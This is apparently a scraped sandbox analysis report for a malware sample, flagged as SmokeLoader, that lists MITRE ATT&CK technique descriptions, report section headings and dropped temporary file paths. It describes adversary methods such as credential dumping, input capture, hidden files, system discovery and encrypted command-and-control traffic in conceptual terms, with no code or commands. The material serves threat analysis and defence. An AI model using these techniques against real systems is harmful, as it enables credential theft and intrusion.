Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report KTh1gQlT9a.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\5FEB.tmp

C:\Users\user\AppData\Local\Temp\5FEB.tmp-shm

C:\Users\user\AppData\Local\Temp\6461.tmp

C:\Users\user\AppData\Local\Temp\69D1.tmp

C:\Users\user\AppData\Local\Temp\6B0B.tmp

C:\Users\user\AppData\Local\Temp\6B89.tmp

C:\Users\user\AppData\Local\Temp\6D5F.tmp

C:\Users\user\AppData\Local\Temp\6F83.tmp

C:\Users\user\AppData\Local\Temp\7020.tmp

C:\Users\user\AppData\Local\Temp\B575.exe

C:\Users\user\AppData\Local\Temp\E647.exe

Windows Analysis Report
KTh1gQlT9a.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre